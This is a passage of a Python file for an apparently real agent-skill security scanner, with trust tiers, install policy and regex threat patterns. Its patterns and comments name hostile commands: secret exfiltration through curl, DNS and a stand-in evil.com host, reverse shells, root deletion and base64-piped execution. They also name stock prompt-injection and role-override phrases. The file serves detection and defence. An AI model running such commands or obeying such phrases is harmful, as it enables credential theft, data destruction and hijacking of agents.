skills_guard.py 65 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962
  1. #!/usr/bin/env python3
  2. """Skills Guard — regex static scan of externally-sourced skills plus a trust-aware install policy.
  3. Trust: builtin (never scanned), trusted (openai/anthropics/... repos: caution allowed), community (any
  4. findings block unless --force). ``scan_skill`` -> ``should_allow_install`` -> ``format_scan_report``.
  5. Known gap: language write APIs (open(..., 'w'), Path.write_text, shutil.copy*, fs.writeFileSync) aimed at
  6. agent-config files surface only the low *_ref finding — static regexes cannot tie the call to a dynamic
  7. destination; future coverage belongs as a fourth "mechanical" tier next to agent_config_mod_shell."""
  8. import re
  9. import fnmatch
  10. import hashlib
  11. import json
  12. from contextlib import suppress
  13. from dataclasses import asdict, dataclass, field
  14. from datetime import datetime, timezone, UTC
  15. from pathlib import Path
  16. from typing import List, Tuple
  17. SCANNER_VERSION = "skills-guard-v10"
  18. # NVIDIA-verified skills each ship a signed `skill.oms.sig` + governance `skill-card.md`.
  19. TRUSTED_REPOS = {
  20. "openai/skills", "anthropics/skills", "huggingface/skills", "NVIDIA/skills",
  21. "wandb/skills", "qdrant/skills", "pinecone-io/skills",
  22. "makenotion/skills", "Airtable/skills", "Shopify/Shopify-AI-Toolkit",
  23. }
  24. INSTALL_POLICY = {
  25. # safe caution dangerous
  26. "builtin": ("allow", "allow", "allow"),
  27. "trusted": ("allow", "allow", "block"),
  28. "community": ("allow", "block", "block"),
  29. # "ask" = error to the agent (retry without the flagged content); only when skills.guard_agent_created is on.
  30. "agent-created": ("allow", "allow", "ask"),
  31. }
  32. VERDICT_INDEX = {"safe": 0, "caution": 1, "dangerous": 2}
  33. @dataclass
  34. class Finding:
  35. pattern_id: str
  36. severity: str # "critical" | "high" | "medium" | "low"
  37. category: str # "exfiltration" | "injection" | "destructive" | "persistence" | "network" | ...
  38. file: str
  39. line: int
  40. match: str
  41. description: str
  42. @dataclass
  43. class ScanResult:
  44. skill_name: str
  45. source: str
  46. trust_level: str # "builtin" | "trusted" | "community" | "agent-created"
  47. verdict: str # "safe" | "caution" | "dangerous"
  48. findings: list[Finding] = field(default_factory=list)
  49. scanned_at: str = ""
  50. summary: str = ""
  51. scan_provenance: dict = field(default_factory=dict)
  52. # --- Threat patterns — (regex, pattern_id, severity, category, description) --
  53. # File-modification verbs for the agent-config persistence tiers: a verb shortly before a config
  54. # filename on the same line is scored as modification; a bare mention is not.
  55. MODIFY_VERB_RE = (
  56. r'(?:\bwrit(?:e|es|ing)\b|\bwritten\b|\bedit(?:s|ed|ing)?\b'
  57. r'|\bmodif(?:y|ies|ied|ying|ication)s?\b|\bupdat(?:e|es|ed|ing)\b'
  58. r'|\bappend(?:s|ed|ing)?\b|\bprepend(?:s|ed|ing)?\b'
  59. r'|\binject(?:s|ed|ing)?\b|\boverwrit(?:e|es|ing)\b|\boverwritten\b'
  60. r'|\breplac(?:e|es|ed|ing)\b|\balter(?:s|ed|ing)?\b|\badd(?:s|ed|ing)\b)')
  61. _AGENT_CONFIG_FILES = r'(?:AGENTS\.md|CLAUDE\.md|\.cursorrules|\.clinerules)'
  62. _HERMES_CONFIG_FILES = r'\.hermes/(?:config\.yaml|SOUL\.md)'
  63. # Path prefixes (real files are e.g. .claude/settings.json): consume trailing filename chars.
  64. _OTHER_AGENT_CONFIG_FILES = r'\.(?:claude/settings|codex/config)[\w.]*'
  65. def _shell_write_re(file_alt: str) -> str:
  66. """Mechanical shell write into *file_alt*: ``>``/``>>``, ``sed -i``, ``tee`` (target as immediate argument, so
  67. ``| tee output | AGENTS.md |`` cells miss), ``cp``/``mv`` with the file as destination (source arg required, so
  68. ``cp AGENTS.md backup/`` misses; ``AGENTS.md.bak`` is not the file). A single ``>`` needs a preceding word/quote/
  69. paren char so blockquotes (``> text``) and arrows (``-> file``) miss."""
  70. return (
  71. rf'(?:>>|[\w"\'`)\]]\s*>)\s*[~\w./-]*{file_alt}(?!\.?\w)'
  72. rf'|\bsed\b[^\n]*\s(?:-[A-Za-z]*i[A-Za-z]*|--in-place)\b[^\n]*{file_alt}(?!\.?\w)'
  73. rf'|\btee\s+(?:-a\s+)?[~\w./"\'-]*{file_alt}(?!\.?\w)'
  74. rf'|\b(?:cp|mv)\s+[^\s|;&]+\s+[^\n|;&]{{0,40}}?{file_alt}(?!\.?\w)')
  75. def _prose_modify_re(file_alt: str) -> str:
  76. """Prose instructing modification of *file_alt*: an imperative-position verb (line start / bullet), or a mid-line
  77. verb with a directive marker ("you must", "please", "make sure to"). Descriptive prose ("skills that edit
  78. AGENTS.md") misses; the verb→file gap forbids commas so enumerations ("Write skills, AGENTS.md, CLAUDE.md") miss."""
  79. return (
  80. rf'^\s*(?:[-*+]\s+|\d+[.)]\s+)?{MODIFY_VERB_RE}[^\n,]{{0,80}}?{file_alt}\b'
  81. rf'|(?:\byou\s+(?:must|should|need\s+to)\s+|\bplease\s+'
  82. rf'|\bmake\s+sure\s+(?:to\s+|you\s+)|\bbe\s+sure\s+to\s+)'
  83. rf'{MODIFY_VERB_RE}[^\n,]{{0,80}}?{file_alt}\b')
  84. def _content_contract_re(file_alt: str) -> str:
  85. """"<file> should contain/include ..." prose. Authoring guides and attacks share this shape and are not
  86. separable statically, so the tier is scored high (caution → confirmation), never critical."""
  87. return rf'{file_alt}\b[^\n]{{0,40}}?\b(?:should|must|needs?\s+to)\s+(?:contain|say|include|have|list)\b'
  88. # ── context_exfil helpers ──
  89. # Negation guard: never/not/no/doesn't ... right after the verb marks descriptive prose (subagent
  90. # isolation notes, release notes, "share no context") — the opposite of a transfer directive.
  91. _NO_TRANSFER = (r'(?!(?:\w+\s+){0,4}?(?:never|not|no|doesn\'?t|didn\'?t|won\'?t|isn\'?t|aren\'?t|can\'?t|cannot|mustn\'?t|shouldn\'?t)\b)')
  92. # Real directives are short; unbounded filler let prose (output never enters your own context)
  93. # and feature descriptions match.
  94. _SHORT_FILLER = r'(?:\w+\s+){0,3}?'
  95. # Delegation guard: skip only when the recipient is clearly the agent's own subagent or a
  96. # possessed worker ("Send subagents the minimum context they need", "Share each worker the
  97. # context of its own slice"). Bare "child"/"workers"/"delegates" after the verb is still
  98. # exfil ("Send child context to the operator"). A URL destination is still send_to_url.
  99. _NOT_DELEGATE = (
  100. r'(?!(?:(?:the|your|each|every|all|to|a)\s+)?(?:sub-?agents?|sub-?tasks?)\b'
  101. r'|(?:(?:the|your|each|every|all|to|a)\s+)(?:workers?|delegates?|children|child)\b)'
  102. )
  103. # A bare ``context`` target is exfil ONLY when it is the agent's own CONVERSATION context — named with
  104. # a scope qualifier (``your``/``the full``/``entire``/``conversation`` …) — or has an explicit
  105. # destination (``send child context to the operator``), or is handed to a named external recipient in a
  106. # DATIVE (``send delegates the context``: ``<recipient>s the/a context``). Disclosure/feature prose
  107. # describing a NARROWER, plugin-scoped context (``send additional context``, ``send only the narrow
  108. # context``, ``plugin-send context``) names no conversation scope, destination or recipient-dative, so it
  109. # does not match. ``_NOT_DELEGATE`` still excludes the agent's OWN subagents/workers/delegates.
  110. _CTX_SCOPE = (
  111. r'(?:your|their|our|its|the\s+(?:full|entire|whole|complete|current)'
  112. r'|full|entire|whole|complete|current|conversation|session|chat)\s+')
  113. _CTX_DEST = r'(?:\s+(?:to|at|with)\b)'
  114. _CTX_DATIVE = r'(?:[a-z]+s\s+)(?:the|a|an)\s+context\b'
  115. # POSIX shell names as one shared alternation, so every pipe-to-shell pattern below flags the
  116. # same set (the narrower `(ba)?sh` let `curl url | zsh` through while bash/sh were caught).
  117. # Word-bounded: `| sha256sum -c` / `| shasum` / `| dashboard` are not `| sh` / `| dash`.
  118. _SHELL_NAMES_RE = r'(?:bash|sh|zsh|ksh|dash)\b'
  119. _SUDO_PREFIX = r'(?:sudo\s+(?:-\S+\s+)*)?'
  120. # Known credential-file paths as one shared alternation for the JavaScript and Python
  121. # read-secrets patterns (a private key, .env, credentials, .netrc, .pgpass, .npmrc, .pypirc;
  122. # a public key is not a secret).
  123. _CRED_FILE = r'(?:\.ssh[/\\]id_(?:rsa|ed25519|ecdsa|dsa)(?!\.pub)|\.env\b|credentials\b|\.netrc\b|\.pgpass\b|\.npmrc\b|\.pypirc\b)'
  124. # A literal string argument naming one of those files, optionally wrapped in
  125. # `os.path.expanduser(...)` (Python only).
  126. _CRED_FILE_LITERAL = r'["\'][^"\'\n]*' + _CRED_FILE + r'[^"\'\n]*["\']'
  127. _PY_CRED_FILE_ARG = r'(?:os\.path\.expanduser\s*\(\s*)?' + _CRED_FILE_LITERAL + r'\s*\)?'
  128. THREAT_PATTERNS = [
  129. # ── Exfiltration: shell commands leaking secrets ──
  130. # env_exfil_* share a loopback exemption: a same-line literal scheme-anchored loopback destination
  131. # (http(s)://localhost, 127.0.0.1, [::1]) cannot move data off the machine, so a secret-shaped query
  132. # param there is a local session token. The scheme must immediately precede the host —
  133. # `evil.com/?u=localhost` does not qualify.
  134. (r'curl\s+(?![^\n]*https?://(?:localhost|127\.0\.0\.1|\[::1\]))[^\n]*\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)S?\b',
  135. "env_exfil_curl", "critical", "exfiltration", "curl command interpolating secret environment variable"),
  136. (r'wget\s+(?![^\n]*https?://(?:localhost|127\.0\.0\.1|\[::1\]))[^\n]*\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)S?\b',
  137. "env_exfil_wget", "critical", "exfiltration", "wget command interpolating secret environment variable"),
  138. (r'fetch\s*\((?![^\n]*https?://(?:localhost|127\.0\.0\.1|\[::1\]))[^\n]*\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD)S?\b',
  139. "env_exfil_fetch", "critical", "exfiltration", "fetch() call interpolating secret environment variable"),
  140. (r'httpx?\.(get|post|put|patch)\s*\((?![^\n]*https?://(?:localhost|127\.0\.0\.1|\[::1\]))[^\n]*(KEY|TOKEN|SECRET|PASSWORD)',
  141. "env_exfil_httpx", "critical", "exfiltration", "HTTP library call with secret variable"),
  142. (r'requests\.(get|post|put|patch)\s*\((?![^\n]*https?://(?:localhost|127\.0\.0\.1|\[::1\]))[^\n]*(KEY|TOKEN|SECRET|PASSWORD)',
  143. "env_exfil_requests", "critical", "exfiltration", "requests library call with secret variable"),
  144. # ── Exfiltration: reading credential stores ──
  145. (r'base64[^\n]*env', "encoded_exfil", "high", "exfiltration", "base64 encoding combined with environment access"),
  146. (r'\$HOME/\.ssh|\~/\.ssh', "ssh_dir_access", "high", "exfiltration", "references user SSH directory"),
  147. (r'\$HOME/\.aws|\~/\.aws', "aws_dir_access", "high", "exfiltration", "references user AWS credentials directory"),
  148. (r'\$HOME/\.gnupg|\~/\.gnupg', "gpg_dir_access", "high", "exfiltration", "references user GPG keyring"),
  149. (r'\$HOME/\.kube|\~/\.kube', "kube_dir_access", "high", "exfiltration", "references Kubernetes config directory"),
  150. (r'\$HOME/\.docker|\~/\.docker',
  151. "docker_dir_access", "high", "exfiltration", "references Docker config (may contain registry creds)"),
  152. (r'\$HOME/\.hermes/\.env|\~/\.hermes/\.env',
  153. "hermes_env_access", "critical", "exfiltration", "directly references Hermes secrets file"),
  154. # `cat <secrets-file>` reads credentials; `cat >`/`cat >>` WRITES one (setup heredocs) — not exfil.
  155. (r'cat\s+(?!>)[^\n]*(\.env|credentials|\.netrc|\.pgpass|\.npmrc|\.pypirc)',
  156. "read_secrets_file", "critical", "exfiltration", "reads known secrets file"),
  157. (r'\b(?:readFile(?:Sync)?|readTextFile)\s*\(\s*' + _CRED_FILE_LITERAL,
  158. "js_read_secrets_file", "critical", "exfiltration", "JavaScript reads a known credential file"),
  159. # Python twin of js_read_secrets_file: `open(...)` on a literal credential path (optionally
  160. # `os.path.expanduser(...)`-wrapped), or the `Path(...).read_text/_bytes/lines/line(...)` chain
  161. # — the shapes that read a known secrets file's content in Python without going through the
  162. # shell `cat` pattern above. `open()`, unlike readFile/read_text, is also how a plugin WRITES
  163. # its own .env/credentials/.npmrc during setup, so (mirroring the shell `cat`'s `(?!>)`)
  164. # exclude a write/append/exclusive mode — a literal 2nd-arg string containing w/a/x, or a
  165. # `mode=` kwarg with the same, tolerating the expanduser wrapper's own `)` — from the
  166. # `open(...)` branch; `Path(...).read_*()` has no mode argument, so needs no exclusion.
  167. (r'\bopen\s*\(\s*' + _PY_CRED_FILE_ARG
  168. + r'(?!\s*\)?\s*,\s*["\'][^"\']*[wax][^"\']*["\'])(?![^\n]*\bmode\s*=\s*["\'][^"\']*[wax])'
  169. + r'|\bPath\s*\(\s*' + _PY_CRED_FILE_ARG + r'\s*\)\.(?:read_text|read_bytes|readlines|readline)\s*\(',
  170. "py_read_secrets_file", "critical", "exfiltration", "Python reads a known credential file"),
  171. # ── Exfiltration: programmatic env access ──
  172. # ``env |`` must be a shell pipe to a COMMAND. A left boundary drops the ``env`` tail of
  173. # ``virtualenv|venv`` in a regex word-list; ``(?!\|)`` drops JS ``env ||`` (logical or); and
  174. # ``(?!\s*[{(])`` drops Python ``env | {...}`` (dict merge) and ``env | (...)``. ``printenv``
  175. # is unambiguous and keeps no neighbour guard.
  176. (r'printenv|(?<![A-Za-z0-9_])env\s*\|(?!\|)(?!\s*[{(])',
  177. "dump_all_env", "high", "exfiltration", "dumps all environment variables"),
  178. # Bare `os.environ` (dump/iteration) is suspicious; ANY `.get("<name>")` form is exempt — plain config
  179. # reads, with secret-shaped names scored medium by python_environ_get_secret below (a blanket high here
  180. # would swamp that). `^[^#\n]*` skips lines with a '#' anywhere before it (full-line or inline comment);
  181. # scan_file()'s docstring pre-filter skips triple-quoted prose.
  182. (r'^[^#\n]*os\.environ\b(?!\s*\.get\s*\()',
  183. "python_os_environ", "high", "exfiltration", "accesses os.environ outside comments/docstrings (potential env dump)"),
  184. (r'os\.environ\s*\.get\s*\(\s*["\'][^"\']*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)',
  185. "python_environ_get_secret", "medium", "exfiltration", "reads secret via os.environ.get() (normal API-key access; informational)"),
  186. (r'os\.getenv\s*\(\s*[^\)]*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL)',
  187. "python_getenv_secret", "medium", "exfiltration", "reads secret via os.getenv() (normal API-key access; informational)"),
  188. (r'process\.env\[', "node_process_env", "high", "exfiltration", "accesses process.env (Node.js environment)"),
  189. # Case-sensitive Ruby ENV: (?-i:) keeps Python `env[...]` dict access from matching under IGNORECASE.
  190. (r'(?-i:ENV)\[.*(?:KEY|TOKEN|SECRET|PASSWORD)', "ruby_env_secret", "critical", "exfiltration", "reads secret via Ruby ENV[]"),
  191. # ── Exfiltration: DNS and staging ──
  192. # Exfil puts the data in the queried NAME: the first positional argument (after
  193. # optional -flags with values, +opts, @server) carries the interpolation. Anything
  194. # looser fires on the English noun in prose ("set the host value and run
  195. # `${SKILL_DIR}/x`") and on flag names such as llama.cpp `--host 127.0.0.1 --port $PORT`.
  196. # `host` is also an English noun and an HTTP header, so it needs the exfil shape itself —
  197. # an interpolation INSIDE a domain name (`host $(whoami).evil.com`, `host ${D}.x.io`) — or a
  198. # shell command position (`; host $NAME`, `do host $c`); "the connected host (${id})", a JS
  199. # `host ${resp.status}: …` message and nginx `Host $host;` are none of those.
  200. # Exfil puts the data in the queried NAME as a SUBDOMAIN of an attacker domain: an interpolation
  201. # followed by a ``.tld`` suffix (``dig $(whoami).evil.com``, ``nslookup ${d}.x.io``). A plain lookup
  202. # of a user-entered host — ``dig +short A ${name}`` in a feed reader, ``getent ahostsv4 ${name}`` —
  203. # has the variable as the WHOLE name with no appended domain, and does not match. ``host`` is also
  204. # an English noun / HTTP header, so it keeps the stricter domain-interpolation or command-position
  205. # requirement (``the connected host (${id})``, ``host ${status}:``, nginx ``Host $host;`` miss).
  206. (r'(?<![-/])\b(?:dig|nslookup)\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?[^\s"\'$()]*'
  207. r'\$(?:\{[^}\s]*\}|\([^\n]*?\)+|\w+)[\w-]*["\']?\.[a-z]'
  208. r'|(?<![-/])\bhost\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?[^\s"\'$()]*'
  209. r'\$(?:\{[^}\s]*\}|\([^\n]*?\)+|\w+)[\w-]*\.[a-z]'
  210. r'|(?:^|[;&|]|\$\(|\b(?:do|then|else)\b)\s*host\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?\$',
  211. "dns_exfil", "critical", "exfiltration", "DNS lookup with variable interpolation (possible DNS exfiltration)"),
  212. (r'>\s*/tmp/[^\s]*\s*&&\s*(curl|wget|nc|python)', # no-tmp: ok — malicious-pattern regex
  213. "tmp_staging", "critical", "exfiltration", "writes to /tmp then exfiltrates"), # no-tmp: ok — malicious-pattern label
  214. # ── Exfiltration: markdown/link based ──
  215. (r'!\[.*\]\(https?://[^\)]*\$\{?',
  216. "md_image_exfil", "high", "exfiltration", "markdown image URL with variable interpolation (image-based exfil)"),
  217. (r'\[.*\]\(https?://[^\)]*\$\{?', "md_link_exfil", "high", "exfiltration", "markdown link with variable interpolation"),
  218. # ── Prompt injection ──
  219. (r'ignore\s+(?:\w+\s+)*(previous|all|above|prior)\s+instructions',
  220. "prompt_injection_ignore", "critical", "injection", "prompt injection: ignore previous instructions"),
  221. (r'you\s+are\s+(?:\w+\s+)*now\s+', "role_hijack", "high", "injection", "attempts to override the agent's role"),
  222. # Concealment only — the lookahead exempts UX guidance ("don't tell the user X unless Y confirms")
  223. # and a tone rule that QUOTES the phrase the agent should not say (`Do not tell the user to
  224. # "be careful with terminal."`); an unquoted `to ...` is still an instruction and fires.
  225. (r'do\s+not\s+(?:\w+\s+)*tell\s+(?:\w+\s+)*the\s+user(?!\s+to\s+["\'\u201c\u2018])'
  226. r'(?!.*\b(?:unless|except|until|confirm|diagnos\w*|verify|check)\b)',
  227. "deception_hide", "high", "injection", "instructs agent to hide information from user"),
  228. (r'system\s+(?:\w+\s+)*prompt\s+(?:\w+\s+)*override',
  229. "sys_prompt_override", "critical", "injection", "attempts to override the system prompt"),
  230. (r'pretend\s+(?:\w+\s+)*(you\s+are|to\s+be)\s+',
  231. "role_pretend", "high", "injection", "attempts to make the agent assume a different identity"),
  232. (r'disregard\s+(?:\w+\s+)*(your|all|any)\s+(?:\w+\s+)*(instructions|rules|guidelines)',
  233. "disregard_rules", "critical", "injection", "instructs agent to disregard its rules"),
  234. (r'output\s+(?:\w+\s+)*(system|initial)\s+prompt',
  235. "leak_system_prompt", "high", "injection", "attempts to extract the system prompt"),
  236. (r'(when|if)\s+no\s*one\s+is\s+(watching|looking)',
  237. "conditional_deception", "high", "injection", "conditional instruction to behave differently when unobserved"),
  238. (r'act\s+as\s+(if|though)\s+(?:\w+\s+)*you\s+(?:\w+\s+)*(have\s+no|don\'t\s+have)\s+(?:\w+\s+)*(restrictions|limits|rules)',
  239. "bypass_restrictions", "critical", "injection", "instructs agent to act without restrictions"),
  240. (r'translate\s+.*\s+into\s+.*\s+and\s+(execute|run|eval)',
  241. "translate_execute", "critical", "injection", "translate-then-execute evasion technique"),
  242. # Injection phrasing inside the comment, not a bare keyword: `<!-- Original size, ignore container -->`
  243. # and `<!-- Requires SYSTEM_ALERT_WINDOW -->` are layout/doc notes.
  244. (r'<!--[^>]*(?:\b(?:ignore|forget|disregard|override)\s+(?:\w+\s+)*?'
  245. r'(?:previous|prior|above|earlier|all|any|your|the)\s+(?:\w+\s+)*?'
  246. r'(?:instructions?|rules|prompts?|guidelines|directions|restrictions)'
  247. r'|\bsystem\s*(?:prompt|message|instructions?|override)|\b(?:override|secret|hidden|system)\s*:'
  248. r'|\b(?:ignore|override|bypass|disable)\s+(?:\w+\s+)*?(?:safety|security|guardrails|filters)\b'
  249. r'|\b(?:secret|hidden|new)\s+(?:instructions?|commands?|directives?|tasks?)\b|\byou\s+are\s+now\b'
  250. r'|\bdo\s+not\s+(?:tell|reveal|show|mention|inform)\b'
  251. r'|\b(?:note|message)\s+(?:to|for)\s+(?:the\s+)?(?:ai|agent|assistant|model|llm)\b)[^>]*-->',
  252. "html_comment_injection", "high", "injection", "hidden instructions in HTML comments"),
  253. (r'<\s*div\s+style\s*=\s*["\'][\s\S]*?display\s*:\s*none',
  254. "hidden_div", "high", "injection", "hidden HTML div (invisible instructions)"),
  255. # ── Destructive operations ──
  256. # Cleanup under the standard temp roots (/tmp, /var/tmp, /dev/shm, /run) is routine in
  257. # test/smoke scripts and CI, and so is the package-cache cleanup that ends every Dockerfile
  258. # install layer (`rm -rf /var/lib/apt/lists/*`, /var/cache/{apt,apk,yum,dnf}). A parent
  259. # segment inside an exempted root can escape it, so it remains destructive along with every
  260. # other path rooted at "/". Every operand is checked (`rm -rf /tmp/x /etc`,
  261. # `rm -rf --no-preserve-root /`), not only the first. A later bare `//` token is a JS/JSONC
  262. # comment opener (`"rm -rf dist", // clean`), not the root; operands after it are still
  263. # checked (`rm -rf x // /etc` deletes /etc in a shell). A first-operand `//` is the root.
  264. (r'rm\s+-rf\s+((?:[^\s;&|<>#][^\s;&|<>]*\s+)+?)?/(?(1)(?!/(?:\s|$)))(?:'
  265. r'(?!(?:tmp|var/tmp|dev/shm|run|var/lib/apt/lists|var/cache/(?:apt|apk|yum|dnf))(?:\b|/))'
  266. r'|(?:tmp|var/tmp|dev/shm|run|var/lib/apt/lists|var/cache/(?:apt|apk|yum|dnf))/(?:[^/\s]*/)*\.\.(?=/|[\s;&|]|$))',
  267. "destructive_root_rm", "critical", "destructive", "recursive delete from root"),
  268. # ``rm`` / ``rmdir`` need a left boundary that excludes letters/digits: without it the ``rm`` in
  269. # English prose (``the platfoRM rOute to ~/.hermes/config.yaml``) matched a recursive home delete.
  270. (r'(?<![A-Za-z0-9])rm\s+(-[^\s]*)?r.*(?:\$HOME|~[/\s*]|~$)|(?<![A-Za-z0-9])rmdir\s+.*(?:\$HOME|~[/\s*]|~$)',
  271. "destructive_home_rm", "critical", "destructive", "recursive delete targeting home directory ($HOME or ~)"),
  272. (r'chmod\s+777', "insecure_perms", "medium", "destructive", "sets world-writable permissions"),
  273. (r'>\s*/etc/', "system_overwrite", "critical", "destructive", "overwrites system configuration file"),
  274. (r'\bmkfs\b', "format_filesystem", "critical", "destructive", "formats a filesystem"),
  275. (r'\bdd\s+.*if=.*of=/dev/', "disk_overwrite", "critical", "destructive", "raw disk write operation"),
  276. (r'shutil\.rmtree\s*\(\s*[\"\'/]', "python_rmtree", "high", "destructive", "Python rmtree on absolute or root-relative path"),
  277. (r'truncate\s+-s\s*0\s+/', "truncate_system", "critical", "destructive", "truncates system file to zero bytes"),
  278. # ── Persistence ──
  279. (r'\bcrontab\b', "persistence_cron", "medium", "persistence", "modifies cron jobs"),
  280. # ``profile`` is split out and anchored: ``.zshrc`` after a dot is always the file, but
  281. # ``.profile`` is also how every language spells attribute access (``self.profile``,
  282. # ``data?.profile``, ``func().profile``), which flooded scans of ordinary code. Requiring
  283. # a non-identifier, non-call/index/optional-chain character before the dot keeps real paths
  284. # (``~/.profile``, ``"$HOME/.profile"``, ``./.profile``) and drops attribute reads.
  285. (r'\.(bashrc|zshrc|bash_profile|bash_login|zprofile|zlogin)\b',
  286. "shell_rc_mod", "medium", "persistence", "references shell startup file"),
  287. (r'(?<![\w)\]?])\.profile\b',
  288. "shell_rc_mod", "medium", "persistence", "references shell startup file"),
  289. (r'authorized_keys', "ssh_backdoor", "critical", "persistence", "modifies SSH authorized keys"),
  290. (r'ssh-keygen', "ssh_keygen", "medium", "persistence", "generates SSH keys"),
  291. (r'systemd.*\.service|systemctl\s+(enable|start)',
  292. "systemd_service", "medium", "persistence", "references or enables systemd service"),
  293. (r'/etc/init\.d/', "init_script", "medium", "persistence", "references init.d startup script"),
  294. (r'launchctl\s+load|LaunchAgents|LaunchDaemons',
  295. "macos_launchd", "medium", "persistence", "macOS launch agent/daemon persistence"),
  296. (r'/etc/sudoers|visudo', "sudoers_mod", "critical", "persistence", "modifies sudoers (privilege escalation)"),
  297. (r'git\s+config\s+--global\s+', "git_config_global", "medium", "persistence", "modifies global git configuration"),
  298. # ── Network: reverse shells and tunnels ──
  299. # socat needs an address spec (TCP:/EXEC:/…): a bare word match hit "SOCAT", the
  300. # oceanographic CO2 atlas, across dozens of science skills (all patterns are IGNORECASE).
  301. (r'\bnc\s+-[lp]|ncat\s+-[lp]|\bsocat\b[^\n]*\b(?:tcp|udp|openssl|ssl|exec|system|pty|unix)[\w-]*:',
  302. "reverse_shell", "critical", "network", "potential reverse shell listener"),
  303. (r'\bngrok\b|\blocaltunnel\b|\bserveo\b|\bcloudflared\b',
  304. "tunnel_service", "high", "network", "uses tunneling service for external access"),
  305. (r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}', "hardcoded_ip_port", "medium", "network", "hardcoded IP address with port"),
  306. (r'0\.0\.0\.0:\d+|INADDR_ANY', "bind_all_interfaces", "high", "network", "binds to all network interfaces"),
  307. (rf'/bin/{_SHELL_NAMES_RE}\s+-i\s+.*>/dev/tcp/',
  308. "bash_reverse_shell", "critical", "network", "bash interactive reverse shell via /dev/tcp"),
  309. (r'python[23]?\s+-c\s+["\']import\s+socket',
  310. "python_socket_oneliner", "critical", "network", "Python one-liner socket connection (likely reverse shell)"),
  311. (r'socket\.connect\s*\(\s*\(', "python_socket_connect", "high", "network", "Python socket connect to arbitrary host"),
  312. (r'webhook\.site|requestbin\.com|pipedream\.net|hookbin\.com',
  313. "exfil_service", "high", "network", "references known data exfiltration/webhook testing service"),
  314. (r'pastebin\.com|hastebin\.com|ghostbin\.',
  315. "paste_service", "medium", "network", "references paste service (possible data staging)"),
  316. # ── Obfuscation: encoding and eval ──
  317. # The decode may read a file or a redirect before the pipe (`base64 -d payload.b64 | sh`,
  318. # `base64 --decode < p | sh`), short flags may be combined (`-di`), and openssl decodes base64
  319. # too. Execution means an interpreter in command position at ANY later stage of the line
  320. # (`| gunzip | sh`, `| tee x.sh; sh x.sh`), or an archive unpacker: an embedded base64 tarball
  321. # (`tail "$0" | base64 -d | tar x`) is code the scanner never sees. Decoding into a data consumer
  322. # (`| jq .`, `| grep`) is not. A base64 ENCODE→DECODE round-trip of a freshly-created archive over a
  323. # transport (`tar c… | base64 … | base64 -d | tar x`) is data movement, demoted in plugin_guard_context.
  324. (r'(?:\bbase64\s+(?:-[^\s|]+\s+)*?(?:-[a-z]*d[a-z]*|--decode)\b|\bopenssl\s+(?:base64|enc)\b[^|;&\n]*?\s-d\b)'
  325. r'[^\n]*?(?:\||;|&&)\s*(?:\w+=\S*\s+)*(?:\S*/)?'
  326. r'(?:sh|bash|zsh|ksh|dash|fish|python[\d.]*|perl|ruby|node|nodejs|php|eval|source|exec|xargs|env|sudo'
  327. r'|iex|pwsh|powershell|tar|bsdtar|unzip|cpio|gunzip|gzip|zcat|xz|unxz|bunzip2|\.(?=\s))(?![\w.-])'
  328. r'|\b(?:eval|source|iex|exec)\b[^\n]*\bbase64\s+(?:-[^\s|]+\s+)*?(?:-[a-z]*d[a-z]*|--decode)\b',
  329. "base64_decode_pipe", "high", "obfuscation", "base64 decodes and pipes to execution"),
  330. (r'\\x[0-9a-fA-F]{2}.*\\x[0-9a-fA-F]{2}.*\\x[0-9a-fA-F]{2}',
  331. "hex_encoded_string", "medium", "obfuscation", "hex-encoded string (possible obfuscation)"),
  332. (r'\beval\s*\(\s*["\']', "eval_string", "high", "obfuscation", "eval() with string argument"),
  333. # An upper-case SQL statement is a database call (`db.exec('PRAGMA busy_timeout=2000')`,
  334. # node:sqlite / better-sqlite3), never code or a shell command line.
  335. # A method named ``exec`` on an object (``sandbox.exec("tar", ...)``, a Docker/sandbox SDK argv call)
  336. # is not the Python ``exec()`` builtin running a code string, so require no ``.``/word char before ``exec``.
